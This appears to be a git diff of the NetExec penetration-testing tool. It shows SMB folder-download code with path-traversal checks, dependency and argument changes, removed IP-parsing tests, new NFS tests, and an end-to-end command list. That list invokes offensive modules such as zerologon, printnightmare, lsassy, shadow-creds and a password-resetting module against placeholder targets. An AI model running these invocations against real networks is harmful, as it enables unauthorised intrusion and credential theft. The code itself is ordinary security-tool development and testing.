# create the directory for this folder
os.makedirs(local_folder_path, exist_ok=True)
if not filtered_items and not silent:
self.logger.display(f"Created empty directory '{local_folder_path}'")
for item in filtered_items:
item_name = sanitize_filename(item.get_longname())
if not item_name:
self.logger.fail(f"Path traversal detected in '{item.get_longname()}', skipping")
continue
dir_path = ntpath.normpath(ntpath.join(folder, item_name))
self.logger.debug(f"Parsing item: {item_name}, {dir_path}")
if item.is_directory() and recursive:
self.logger.debug(f"Found new directory to parse: {dir_path}")
self.download_folder(dir_path, dest, recursive, silent, base_dir or folder, ignore_empty)
elif not item.is_directory():
remote_file_path = ntpath.join(folder, item_name)
local_file_path = os.path.join(local_folder_path, item_name)
# Defense-in-depth: verify path stays under destination
resolved = Path(local_file_path).resolve()
if not str(resolved).startswith(str(Path(dest).resolve()) + os.sep):
self.logger.fail(f"Path traversal detected in '{item_name}', skipping")
continue
self.logger.debug(f"{dest=} {remote_file_path=} {relative_path=} {local_folder_path=} {local_file_path=}")
try:
self.get_file_single(remote_file_path, local_file_path, silent)
except FileNotFoundError:
self.logger.fail(f"Error downloading file '{remote_file_path}' due to file not found (probably a race condition between listing and downloading)")
def get_folder(self):
recursive = self.args.recursive
ignore_empty = self.args.ignore_empty_folders
self.logger.debug(f"Recursive option set to {recursive}")
self.logger.debug(f"Ignore empty folders option set to {ignore_empty}")
for folder, dest in self.args.get_folder:
self.download_folder(folder, dest, recursive, self.args.silent, None, ignore_empty)
self.logger.success(f"Folder '{folder}' was downloaded to '{dest}'")
def enable_remoteops(self, regsecret=False):
try:
if regsecret:
+2 -5
View File
@@ -1,4 +1,4 @@
from argparse import BooleanOptionalAction, _StoreTrueAction
from argparse import _StoreTrueAction
from nxc.helpers.args import DisplayDefaultsNotNone, DefaultTrackingAction, get_conditional_action
@@ -23,7 +23,7 @@ def proto_args(parser, parents):
smb_parser.add_argument("--no-admin-check", action="store_true", help="Avoid checking admin which queries the Service Control Manager")
smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file")
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2)
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentication", nargs="?", const="administrator")
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
smb_parser.add_argument("--generate-hosts-file", type=str, help="Generate a hosts file like from a range of IP")
smb_parser.add_argument("--generate-krb5-file", type=str, help="Generate a krb5 file like from a range of IP")
smb_parser.add_argument("--generate-tgt", type=str, help="Generate a tgt ticket")
@@ -91,9 +91,6 @@ def proto_args(parser, parents):
files_group = smb_parser.add_argument_group("File Operations")
files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
files_group.add_argument("--get-folder", action="append", nargs=2, metavar="DIR", help="Get a remote directory, ex: \\\\Windows\\\\Temp\\\\testing testing")
files_group.add_argument("--recursive", default=True, action=BooleanOptionalAction, help="Recursively get a folder")
files_group.add_argument("--ignore-empty-folders", default=False, action="store_true", help="Ignore empty folders when downloading")
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
cmd_exec_group = smb_parser.add_argument_group("Command Execution")
+2 -5
View File
@@ -6,7 +6,6 @@ from impacket.dcerpc.v5 import lsat, lsad, samr
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
from impacket.nmb import NetBIOSError
from impacket.smbconnection import SessionError
from nxc.protocols.ldap.constants import WELL_KNOWN_SIDS
from nxc.helpers.rpc import NXCRPCConnection
@@ -144,9 +143,7 @@ class LSAQuery:
def lookup_sids(self, sids):
"""Use a list comprehension to generate the names list.
If the user is requesting a single SID and it is a well known SID, return the well known SID name to avoid a lookup.
Otherwise, it calls the hLsarLookupSids() method directly in the list comprehension and extracts the "Name" value from each element in the "Names" list.
It calls the hLsarLookupSids() method directly in the list comprehension and extracts the "Name" value from each element in the "Names" list.
"""
if len(sids) == 1 and sids[0] in WELL_KNOWN_SIDS:
return [WELL_KNOWN_SIDS[sids[0]]]
return [translated_names["Name"] for translated_names in lsat.hLsarLookupSids(self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)["TranslatedNames"]["Names"]]
Generated
+1 -41
View File
@@ -1652,46 +1652,6 @@ files = [
[package.extras]
nicer-shell = ["ipython"]
[[package]]
name = "netifaces"
version = "0.11.0"
description = "Portable network interface information."
optional = false
python-versions = "*"
groups = ["main"]
files = [
{file = "netifaces-0.11.0-cp27-cp27m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:eb4813b77d5df99903af4757ce980a98c4d702bbcb81f32a0b305a1537bdf0b1"},
{file = "netifaces-0.11.0-cp27-cp27m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:5f9ca13babe4d845e400921973f6165a4c2f9f3379c7abfc7478160e25d196a4"},
{file = "netifaces-0.11.0-cp27-cp27m-win32.whl", hash = "sha256:7dbb71ea26d304e78ccccf6faccef71bb27ea35e259fb883cfd7fd7b4f17ecb1"},
{file = "netifaces-0.11.0-cp27-cp27m-win_amd64.whl", hash = "sha256:0f6133ac02521270d9f7c490f0c8c60638ff4aec8338efeff10a1b51506abe85"},
{file = "netifaces-0.11.0-cp27-cp27mu-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:08e3f102a59f9eaef70948340aeb6c89bd09734e0dca0f3b82720305729f63ea"},
{file = "netifaces-0.11.0-cp27-cp27mu-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:c03fb2d4ef4e393f2e6ffc6376410a22a3544f164b336b3a355226653e5efd89"},
{file = "netifaces-0.11.0-cp34-cp34m-win32.whl", hash = "sha256:73ff21559675150d31deea8f1f8d7e9a9a7e4688732a94d71327082f517fc6b4"},
{file = "netifaces-0.11.0-cp35-cp35m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:815eafdf8b8f2e61370afc6add6194bd5a7252ae44c667e96c4c1ecf418811e4"},
{file = "netifaces-0.11.0-cp35-cp35m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:50721858c935a76b83dd0dd1ab472cad0a3ef540a1408057624604002fcfb45b"},
{file = "netifaces-0.11.0-cp35-cp35m-win32.whl", hash = "sha256:c9a3a47cd3aaeb71e93e681d9816c56406ed755b9442e981b07e3618fb71d2ac"},
{file = "netifaces-0.11.0-cp36-cp36m-macosx_10_15_x86_64.whl", hash = "sha256:aab1dbfdc55086c789f0eb37affccf47b895b98d490738b81f3b2360100426be"},
{file = "netifaces-0.11.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c37a1ca83825bc6f54dddf5277e9c65dec2f1b4d0ba44b8fd42bc30c91aa6ea1"},
{file = "netifaces-0.11.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:28f4bf3a1361ab3ed93c5ef360c8b7d4a4ae060176a3529e72e5e4ffc4afd8b0"},
{file = "netifaces-0.11.0-cp36-cp36m-win32.whl", hash = "sha256:2650beee182fed66617e18474b943e72e52f10a24dc8cac1db36c41ee9c041b7"},
{file = "netifaces-0.11.0-cp36-cp36m-win_amd64.whl", hash = "sha256:cb925e1ca024d6f9b4f9b01d83215fd00fe69d095d0255ff3f64bffda74025c8"},
{file = "netifaces-0.11.0-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:84e4d2e6973eccc52778735befc01638498781ce0e39aa2044ccfd2385c03246"},
{file = "netifaces-0.11.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:18917fbbdcb2d4f897153c5ddbb56b31fa6dd7c3fa9608b7e3c3a663df8206b5"},
{file = "netifaces-0.11.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:48324183af7f1bc44f5f197f3dad54a809ad1ef0c78baee2c88f16a5de02c4c9"},
{file = "netifaces-0.11.0-cp37-cp37m-win32.whl", hash = "sha256:8f7da24eab0d4184715d96208b38d373fd15c37b0dafb74756c638bd619ba150"},
{file = "netifaces-0.11.0-cp37-cp37m-win_amd64.whl", hash = "sha256:2479bb4bb50968089a7c045f24d120f37026d7e802ec134c4490eae994c729b5"},
{file = "netifaces-0.11.0-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:3ecb3f37c31d5d51d2a4d935cfa81c9bc956687c6f5237021b36d6fdc2815b2c"},
{file = "netifaces-0.11.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:96c0fe9696398253f93482c84814f0e7290eee0bfec11563bd07d80d701280c3"},
{file = "netifaces-0.11.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:c92ff9ac7c2282009fe0dcb67ee3cd17978cffbe0c8f4b471c00fe4325c9b4d4"},
{file = "netifaces-0.11.0-cp38-cp38-win32.whl", hash = "sha256:d07b01c51b0b6ceb0f09fc48ec58debd99d2c8430b09e56651addeaf5de48048"},
{file = "netifaces-0.11.0-cp38-cp38-win_amd64.whl", hash = "sha256:469fc61034f3daf095e02f9f1bbac07927b826c76b745207287bc594884cfd05"},
{file = "netifaces-0.11.0-cp39-cp39-macosx_10_15_x86_64.whl", hash = "sha256:5be83986100ed1fdfa78f11ccff9e4757297735ac17391b95e17e74335c2047d"},
{file = "netifaces-0.11.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:54ff6624eb95b8a07e79aa8817288659af174e954cca24cdb0daeeddfc03c4ff"},
{file = "netifaces-0.11.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:841aa21110a20dc1621e3dd9f922c64ca64dd1eb213c47267a2c324d823f6c8f"},
{file = "netifaces-0.11.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:e76c7f351e0444721e85f975ae92718e21c1f361bda946d60a214061de1f00a1"},
{file = "netifaces-0.11.0.tar.gz", hash = "sha256:043a79146eb2907edf439899f262b3dfe41717d34124298ed281139a8b93ca32"},
]
[[package]]
name = "oscrypto"
version = "1.3.0"
@@ -2993,4 +2953,4 @@ test = ["pytest", "pytest-cov"]
[metadata]
lock-version = "2.1"
python-versions = ">=3.10,<4.0"
content-hash = "0d14ba58153ca84c0a373c8d9180f9d864bc600cf1f67fdabf680f338265172d"
content-hash = "56b728355fe920630c713760332f0af9f33297a02c524a6ed304384a4d62c78f"
-1
View File
@@ -31,7 +31,6 @@ dependencies = [
"masky>=0.2.1",
"minikerberos>=0.4.1",
"neo4j>=5.0.0",
"netifaces (>=0.11.0,<0.12.0)",
"paramiko>=3.3.1",
"pefile (>=2024.8.26,<2025.0.0)",
"pyasn1-modules>=0.3.0",
+27 -21
View File
@@ -44,7 +44,6 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file.txt
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file.txt --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file2.txt
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-file \\Windows\\Temp\\test_file.txt /tmp/test_file.txt
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-folder \\Windows\\Temp\\ /tmp/test_folder/
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --no-admin-check
##### SMB PowerShell
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig
@@ -177,13 +176,6 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M winscp
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWPASS=Password123
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWNTHASH=58A478135A93AC3BF058A5EA0E8FDB71
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o DOWNLOAD=False
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default Domain Policy" DOWNLOAD=False
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default Domain Policy" ALL_PROPS=True DOWNLOAD=False
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default" DOWNLOAD=False
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default" FUZZY=True DOWNLOAD=False
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o NAME="Default" FUZZY=True ALL_PROPS=True DOWNLOAD=False
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpos -o ALL_PROPS=True DOWNLOAD=False
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M lockscreendoors
# test for multiple modules at once
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M printnightmare -M runasppl -M uac -M webdav -M wifi -M coerce_plus
@@ -253,14 +245,6 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dump-computers
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M raisechild
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-scriptpath
# Backup followed by revert restores the same Shadow Credentials state on the disposable test computer.
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=list
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=backup JSONFILE=nxc-shadow-creds-castelblack.json
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=revert JSONFILE=nxc-shadow-creds-castelblack.json
# These actions require the generated device ID for an automated round trip.
#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=add
#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=info DEVICE_ID=SHADOW_CREDS_DEVICE_ID
#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=remove DEVICE_ID=SHADOW_CREDS_DEVICE_ID
# resetnightmare resets a real account password with no restore and needs a controlled account with GenericWrite on its UPN + an unpatched DC, run manually, not in CI
#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_PASSWORD=Password1
##### WINRM
@@ -350,8 +334,30 @@ netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
##### NFS
netexec nfs TARGET_HOST -u "" -p "" --shares
netexec nfs TARGET_HOST -u "" -p "" --enum-shares
netexec nfs TARGET_HOST -u "" -p "" --get-file /NFStest/test/test.txt ../test.txt
netexec nfs TARGET_HOST -u "" -p "" --put-file ../test.txt /NFStest/test
netexec nfs TARGET_HOST -u "" -p "" --chmod 666 /NFStest/test/test.txt
netexec nfs TARGET_HOST --nfs-version 4.0 --nfs-auth none --shares
netexec nfs TARGET_HOST --nfs-version 4.0 --nfs-auth sys --enum-shares
netexec nfs TARGET_HOST --nfs-version 4.1 --nfs-auth sys --enum-shares
netexec nfs TARGET_HOST --nfs-version 4.2 --nfs-auth sys --enum-shares
netexec nfs TARGET_HOST --nfs-version 4.0 --nfs-auth krb5 --use-kcache --shares
netexec nfs TARGET_HOST --nfs-version 4.1 --nfs-auth krb5 --use-kcache --shares
netexec nfs TARGET_HOST --nfs-version 4.2 --nfs-auth krb5 --use-kcache --shares
netexec nfs TARGET_HOST --nfs-version 4.0 --nfs-auth krb5i --use-kcache --shares
netexec nfs TARGET_HOST --nfs-version 4.1 --nfs-auth krb5i --use-kcache --shares
netexec nfs TARGET_HOST --nfs-version 4.2 --nfs-auth krb5i --use-kcache --shares
netexec nfs TARGET_HOST --nfs-version 4.0 --nfs-auth krb5p --use-kcache --shares
netexec nfs TARGET_HOST --nfs-version 4.1 --nfs-auth krb5p --use-kcache --shares
netexec nfs TARGET_HOST --nfs-version 4.2 --nfs-auth krb5p --use-kcache --shares
netexec nfs TARGET_HOST --nfs-auth sys --shares
netexec nfs TARGET_HOST --nfs-auth sys --enum-shares
netexec nfs TARGET_HOST --nfs-auth krb5 --use-kcache --shares
netexec nfs TARGET_HOST --nfs-auth krb5i --use-kcache --shares
netexec nfs TARGET_HOST --nfs-auth krb5p --use-kcache --shares
netexec nfs TARGET_HOST --nfs-version 3 --nfs-auth sys --get-file /NFStest/test/test.txt ../test.txt
netexec nfs TARGET_HOST --nfs-version 3 --nfs-auth sys --put-file ../test.txt /NFStest/test
netexec nfs TARGET_HOST --nfs-version 3 --nfs-auth sys --chmod 666 /NFStest/test/test.txt
netexec nfs TARGET_HOST --nfs-version 4.0 --nfs-auth sys --share / --ls /
netexec nfs TARGET_HOST --nfs-version 4.1 --nfs-auth sys --share / --ls /
netexec nfs TARGET_HOST --nfs-version 4.2 --nfs-auth sys --share / --ls /
netexec nfs TARGET_HOST --nfs-version 4.1 --nfs-auth sys --share / --put-file ../test.txt /pynfsclient/test.txt
netexec nfs TARGET_HOST --nfs-version 4.0 --nfs-auth sys --share / --get-file /pynfsclient/test.txt ../test.txt
netexec nfs TARGET_HOST --nfs-version 4.2 --nfs-auth sys --share / --chmod 666 /pynfsclient/test.txt
-311
View File
@@ -1,311 +0,0 @@
from unittest.mock import patch
from nxc.parsers.ip import get_local_ip, parse_exclusions, parse_targets
class TestGetLocalIP:
"""Test local IP detection functionality."""
@patch("netifaces.interfaces")
@patch("netifaces.ifaddresses")
def test_get_local_ip_success(self, mock_ifaddresses, mock_interfaces):
"""Test successful local IP detection via netifaces."""
# Mock available interfaces
mock_interfaces.return_value = ["lo", "eth0", "wlan0"]
# Mock addresses for each interface
import netifaces
mock_ifaddresses.side_effect = lambda iface: {
"lo": {netifaces.AF_INET: [{"addr": "127.0.0.1"}]},
"eth0": {netifaces.AF_INET: [{"addr": "192.168.1.100"}]},
"wlan0": {}
}.get(iface, {})
result = get_local_ip()
assert result == "192.168.1.100"
mock_interfaces.assert_called_once()
@patch("netifaces.interfaces")
@patch("netifaces.ifaddresses")
def test_get_local_ip_skip_localhost(self, mock_ifaddresses, mock_interfaces):
"""Test that localhost addresses are skipped."""
# Mock only loopback interface
mock_interfaces.return_value = ["lo"]
import netifaces
mock_ifaddresses.return_value = {
netifaces.AF_INET: [{"addr": "127.0.0.1"}]
}
result = get_local_ip()
assert result is None
@patch("netifaces.interfaces")
@patch("netifaces.ifaddresses")
def test_get_local_ip_skip_link_local(self, mock_ifaddresses, mock_interfaces):
"""Test that link-local addresses (169.254.x.x) are skipped."""
mock_interfaces.return_value = ["eth0"]
import netifaces
mock_ifaddresses.return_value = {
netifaces.AF_INET: [{"addr": "169.254.1.1"}]
}
result = get_local_ip()
assert result is None
@patch("netifaces.interfaces")
def test_get_local_ip_exception_handling(self, mock_interfaces):
"""Test when netifaces raises an exception."""
# Make interfaces() raise an exception
mock_interfaces.side_effect = Exception("Network error")
result = get_local_ip()
assert result is None
class TestParseExclusions:
"""Test exclusion parsing functionality."""
def test_parse_exclusions_single_ip(self):
"""Test parsing single IP address."""
exclusions = ["192.168.1.10"]
result = parse_exclusions(exclusions)
assert result == {"192.168.1.10"}
def test_parse_exclusions_multiple_ips(self):
"""Test parsing multiple IP addresses."""
exclusions = ["192.168.1.10", "10.0.0.1", "172.16.0.5"]
result = parse_exclusions(exclusions)
assert result == {"192.168.1.10", "10.0.0.1", "172.16.0.5"}
def test_parse_exclusions_cidr_range(self):
"""Test parsing CIDR notation."""
exclusions = ["192.168.1.0/30"] # Should expand to .1, .2
result = parse_exclusions(exclusions)
expected = {"192.168.1.0", "192.168.1.1", "192.168.1.2", "192.168.1.3"}
assert result == expected
def test_parse_exclusions_ip_range(self):
"""Test parsing IP range notation."""
exclusions = ["192.168.1.10-192.168.1.12"]
result = parse_exclusions(exclusions)
expected = {"192.168.1.10", "192.168.1.11", "192.168.1.12"}
assert result == expected
def test_parse_exclusions_short_range(self):
"""Test parsing short IP range notation."""
exclusions = ["192.168.1.10-12"] # Should expand to 192.168.1.10-192.168.1.12
result = parse_exclusions(exclusions)
expected = {"192.168.1.10", "192.168.1.11", "192.168.1.12"}
assert result == expected
def test_parse_exclusions_hostname(self):
"""Test parsing hostname (treated as string)."""
exclusions = ["example.com"]
result = parse_exclusions(exclusions)
assert result == {"example.com"}
def test_parse_exclusions_mixed_formats(self):
"""Test parsing mixed IP formats."""
exclusions = [
"192.168.1.10", # Single IP
"10.0.0.0/31", # CIDR (expands to .0, .1)
"172.16.1.5-7", # Short range
"test.local" # Hostname
]
result = parse_exclusions(exclusions)
expected = {
"192.168.1.10",
"10.0.0.0", "10.0.0.1",
"172.16.1.5", "172.16.1.6", "172.16.1.7",
"test.local"
}
assert result == expected
def test_parse_exclusions_empty_list(self):
"""Test parsing empty exclusion list."""
exclusions = []
result = parse_exclusions(exclusions)
assert result == set()
def test_parse_exclusions_ipv6(self):
"""Test parsing IPv6 addresses."""
exclusions = ["2001:db8::1"]
result = parse_exclusions(exclusions)
assert result == {"2001:db8::1"}
class TestTargetFiltering:
"""Test integration of exclusion filtering with target parsing."""
def test_target_filtering_excludes_single_ip(self):
"""Test that single IP is properly excluded from target list."""
targets = ["192.168.1.1", "192.168.1.2", "192.168.1.3"]
exclusions = parse_exclusions(["192.168.1.2"])
filtered_targets = [target for target in targets if target not in exclusions]
assert filtered_targets == ["192.168.1.1", "192.168.1.3"]
def test_target_filtering_excludes_cidr_range(self):
"""Test that CIDR range exclusions work properly."""
targets = ["192.168.1.1", "192.168.1.2", "192.168.1.3", "192.168.1.10"]
exclusions = parse_exclusions(["192.168.1.0/30"]) # Excludes .0-.3
filtered_targets = [target for target in targets if target not in exclusions]
assert filtered_targets == ["192.168.1.10"]
def test_target_filtering_no_exclusions(self):
"""Test that no exclusions leaves targets unchanged."""
targets = ["192.168.1.1", "192.168.1.2", "192.168.1.3"]
exclusions = parse_exclusions([])
filtered_targets = [target for target in targets if target not in exclusions]
assert filtered_targets == targets
def test_target_filtering_all_excluded(self):
"""Test that all targets can be excluded."""
targets = ["192.168.1.1", "192.168.1.2"]
exclusions = parse_exclusions(["192.168.1.0/30"]) # Excludes .0-.3
filtered_targets = [target for target in targets if target not in exclusions]
assert filtered_targets == []
def test_target_filtering_mixed_formats(self):
"""Test filtering with mixed target and exclusion formats."""
# Targets from parse_targets (simulated)
targets = []
for target_spec in ["192.168.1.1", "10.0.0.1-3"]:
targets.extend(list(parse_targets(target_spec)))
# Exclude some targets
exclusions = parse_exclusions(["192.168.1.1", "10.0.0.2"])
filtered_targets = [target for target in targets if target not in exclusions]
expected = ["10.0.0.1", "10.0.0.3"]
assert set(filtered_targets) == set(expected)
class TestEdgeCases:
"""Test edge cases and error conditions."""
def test_exclusions_with_invalid_ip(self):
"""Test that invalid IPs are treated as hostnames."""
exclusions = ["invalid.ip.address"]
result = parse_exclusions(exclusions)
# Should be treated as hostname
assert result == {"invalid.ip.address"}
def test_exclusions_duplicate_handling(self):
"""Test that duplicate exclusions are handled properly."""
exclusions = ["192.168.1.1", "192.168.1.1", "192.168.1.2"]
result = parse_exclusions(exclusions)
# Set should deduplicate
assert result == {"192.168.1.1", "192.168.1.2"}
def test_exclusions_case_sensitivity(self):
"""Test hostname case sensitivity."""
exclusions = ["Example.COM", "example.com"]
result = parse_exclusions(exclusions)
# Should preserve case (hostnames are case-insensitive but we preserve input)
assert result == {"Example.COM", "example.com"}
class TestConfigIntegration:
"""Test config-based exclusion integration."""
@patch("nxc.config.exclude_hosts", ["192.168.1.10", "10.0.0.0/30"])
@patch("nxc.config.skip_self", False)
def test_config_exclusions_loaded(self):
"""Test that exclusions are properly loaded from config."""
from nxc.config import exclude_hosts, skip_self
assert exclude_hosts == ["192.168.1.10", "10.0.0.0/30"]
assert skip_self is False
@patch("nxc.config.exclude_hosts", [])
@patch("nxc.config.skip_self", True)
def test_config_skip_self_enabled(self):
"""Test that skip_self config option works."""
from nxc.config import skip_self
assert skip_self is True
def test_config_exclusions_processing(self):
"""Test that config exclusions are processed correctly."""
# Simulate config values
config_exclusions = ["192.168.1.10", "10.0.0.0/30"]
# Process exclusions the same way as in netexec.py
excluded_ips = set()
if config_exclusions:
excluded_ips.update(parse_exclusions(config_exclusions))
expected = {
"192.168.1.10",
"10.0.0.0", "10.0.0.1", "10.0.0.2", "10.0.0.3"
}
assert excluded_ips == expected
class TestConfigValidation:
"""Test config validation and error handling."""
def test_malformed_exclude_hosts_syntax_error(self):
"""Test that malformed exclude_hosts syntax is handled gracefully."""
from ast import literal_eval
# Simulate what happens in config.py with malformed input
malformed_inputs = [
"[192.168.1.1]", # Missing quotes
"[192.168.1.1, 10.0.0.1]", # Multiple without quotes
"192.168.1.1", # Plain string
"", # Empty string
]
for malformed_input in malformed_inputs:
try:
result = literal_eval(malformed_input)
# If we get here, it didn't fail as expected
assert isinstance(result, list), f"Expected list for valid input: {malformed_input}"
except (ValueError, SyntaxError):
# This is expected behavior - should gracefully handle the error
# In actual config.py, this would fall back to empty list
assert True
def test_exclude_hosts_type_validation(self):
"""Test that non-list values are rejected."""
from ast import literal_eval
# Test inputs that parse successfully but aren't lists
non_list_inputs = [
'"192.168.1.1"', # String instead of list
"192", # Integer
"True", # Boolean
]
for input_val in non_list_inputs:
result = literal_eval(input_val)
# Should validate that result is a list
assert not isinstance(result, list), f"Input {input_val} should not be a list"
+456
View File
@@ -0,0 +1,456 @@
import sys
from argparse import ArgumentParser
from pathlib import Path
from types import SimpleNamespace
import pytest
from nxc.loaders.protocolloader import ProtocolLoader
PROTOCOL_PATH = Path(__file__).parents[1] / "nxc" / "protocols" / "nfs.py"
PROTOCOL_ARGS_PATH = Path(__file__).parents[1] / "nxc" / "protocols" / "nfs" / "proto_args.py"
PROTOCOL_MODULE = ProtocolLoader().load_protocol(str(PROTOCOL_PATH))
proto_args = ProtocolLoader().load_protocol(str(PROTOCOL_ARGS_PATH)).proto_args
nfs = PROTOCOL_MODULE.nfs
class Logger:
def __init__(self):
self.messages = []
def debug(self, message):
self.messages.append(message)
def info(self, message):
self.messages.append(message)
def fail(self, message):
self.messages.append(message)
def success(self, message):
self.messages.append(message)
def display(self, message):
self.messages.append(message)
def highlight(self, message):
self.messages.append(message)
class Database:
def __init__(self):
self.hosts = []
def add_host(self, *host):
self.hosts.append(host)
def make_protocol(version="4.0", auth="sys", port=None, share=None):
protocol = object.__new__(nfs)
protocol.args = SimpleNamespace(nfs_version=version, nfs_auth=auth, nfs_timeout=2, port=port, share=share, use_kcache=False, domain=None, username=[], kdcHost=None)
protocol.host = "192.0.2.1"
protocol.hostname = "server.example"
protocol.port = port or 2049
protocol.nfs = None
protocol.nfs_version = version
protocol.nfs_versions = () if version is None else (version,)
protocol.discovery = None
protocol.auth = {
"flavor": 1,
"machine_name": "NXC123",
"uid": 0,
"gid": 0,
"aux_gid": [],
}
protocol.rpc_auth = protocol.auth if auth == "sys" else None
protocol.logger = Logger()
protocol.db = Database()
protocol.root_escape = None
protocol.escape_share = None
protocol.escape_fh = b""
protocol.authenticated = False
protocol.credentials = None
protocol.proto_logger = lambda: None
return protocol
def discovery(*versions, nfs3_port=None, inconclusive=()):
return SimpleNamespace(supported=versions, nfs3_port=nfs3_port, inconclusive=inconclusive)
def client_class(calls):
class Client:
def __init__(self, host, version, port, timeout, auth):
calls.append(("init", host, version, port, timeout, auth))
self.version = version
self.port = port or 2049
self.auth = auth
self.connected = False
def connect(self):
self.connected = True
calls.append(("connect", self.version))
return self
def disconnect(self):
self.connected = False
calls.append(("disconnect", self.version))
return Client
